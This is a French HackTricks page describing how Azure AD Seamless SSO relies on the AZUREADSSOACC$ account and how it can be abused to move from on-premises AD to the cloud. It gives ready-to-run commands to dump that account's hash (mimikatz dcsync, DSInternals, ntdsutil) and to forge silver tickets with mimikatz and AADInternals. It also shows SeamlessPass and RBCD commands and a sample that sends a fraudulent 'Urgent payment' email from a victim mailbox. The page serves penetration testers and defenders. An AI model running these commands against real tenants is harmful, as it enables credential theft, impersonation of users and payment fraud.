Az - Seamless SSO

Support HackTricks

Informations de base

Dans la documentation : Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) connecte automatiquement les utilisateurs lorsqu'ils sont sur leurs appareils d'entreprise connectés à votre réseau d'entreprise. Lorsqu'il est activé, les utilisateurs n'ont pas besoin de taper leurs mots de passe pour se connecter à Azure AD, et généralement, même de taper leurs noms d'utilisateur. Cette fonctionnalité offre à vos utilisateurs un accès facile à vos applications basées sur le cloud sans nécessiter de composants supplémentaires sur site.

Fondamentalement, Azure AD Seamless SSO connecte les utilisateurs lorsqu'ils sont sur un PC joint à un domaine sur site.

Il est pris en charge à la fois par PHS (Synchronisation de hachage de mot de passe) et PTA (Authentification par passage).

Le SSO de bureau utilise Kerberos pour l'authentification. Lorsqu'il est configuré, Azure AD Connect crée un compte d'ordinateur appelé AZUREADSSOACC$ dans l'AD sur site. Le mot de passe du compte AZUREADSSOACC$ est envoyé en texte clair à Azure AD lors de la configuration.

Les tickets Kerberos sont chiffrés en utilisant le NTHash (MD4) du mot de passe et Azure AD utilise le mot de passe envoyé pour déchiffrer les tickets.

Azure AD expose un point de terminaison (https://autologon.microsoftazuread-sso.com) qui accepte les tickets Kerberos. Le navigateur de la machine jointe au domaine transmet les tickets à ce point de terminaison pour le SSO.

Sur site -> cloud

Le mot de passe de l'utilisateur AZUREADSSOACC$ ne change jamais. Par conséquent, un administrateur de domaine pourrait compromettre le hachage de ce compte, puis l'utiliser pour créer des tickets argentés pour se connecter à Azure avec n'importe quel utilisateur sur site synchronisé :

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Avec le hash, vous pouvez maintenant générer des tickets argent :

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:aadg.windows.net.nsatc.net /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Pour utiliser le ticket argent, les étapes suivantes doivent être exécutées :

  1. Lancer le Navigateur : Mozilla Firefox doit être lancé.

  2. Configurer le Navigateur :

  1. Accéder à l'Application Web :

  • Visitez une application web qui est intégrée au domaine AAD de l'organisation. Un exemple courant est Office 365.

  1. Processus d'Authentification :

  • À l'écran de connexion, le nom d'utilisateur doit être saisi, en laissant le champ du mot de passe vide.

  • Pour continuer, appuyez sur TAB ou ENTER.

Cela ne contourne pas MFA si activé

Option 2 sans dcsync - SeamlessPass

Il est également possible d'effectuer cette attaque sans une attaque dcsync pour être plus furtif comme expliqué dans cet article de blog. Pour cela, vous avez seulement besoin de l'un des éléments suivants :

  • Un TGT d'utilisateur compromis : Même si vous n'en avez pas, mais que l'utilisateur a été compromis, vous pouvez en obtenir un en utilisant le truc de délégation de faux TGT implémenté dans de nombreux outils tels que Kekeo et Rubeus.

  • Golden Ticket : Si vous avez la clé KRBTGT, vous pouvez créer le TGT dont vous avez besoin pour l'utilisateur attaqué.

  • Le hash NTLM ou la clé AES d'un utilisateur compromis : SeamlessPass communiquera avec le contrôleur de domaine avec ces informations pour générer le TGT.

  • Le hash NTLM ou la clé AES du compte AZUREADSSOACC$ : Avec ces informations et l'Identifiant de Sécurité (SID) de l'utilisateur à attaquer, il est possible de créer un ticket de service et de s'authentifier avec le cloud (comme effectué dans la méthode précédente).

Enfin, avec le TGT, il est possible d'utiliser l'outil SeamlessPass avec :

seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_TGT>

Des informations supplémentaires pour configurer Firefox afin de fonctionner avec SSO transparent peuvent être trouvées dans cet article de blog.

Création de tickets Kerberos pour les utilisateurs uniquement cloud

Si les administrateurs Active Directory ont accès à Azure AD Connect, ils peuvent définir le SID pour tout utilisateur cloud. De cette manière, des tickets Kerberos peuvent être créés également pour les utilisateurs uniquement cloud. La seule exigence est que le SID soit un SID approprié.

Changer le SID des utilisateurs administrateurs uniquement cloud est maintenant bloqué par Microsoft. Pour plus d'infos, consultez https://aadinternals.com/post/on-prem_admin/

Sur site -> Cloud via Délégation Contraignante Basée sur les Ressources

Quiconque peut gérer des comptes d'ordinateur (AZUREADSSOACC$) dans le conteneur ou l'OU où se trouve ce compte peut configurer une délégation contrainte basée sur les ressources sur le compte et y accéder.

python rbdel.py -u <workgroup>\\<user> -p <pass> <ip> azureadssosvc$

Références

Soutenir HackTricks

Last updated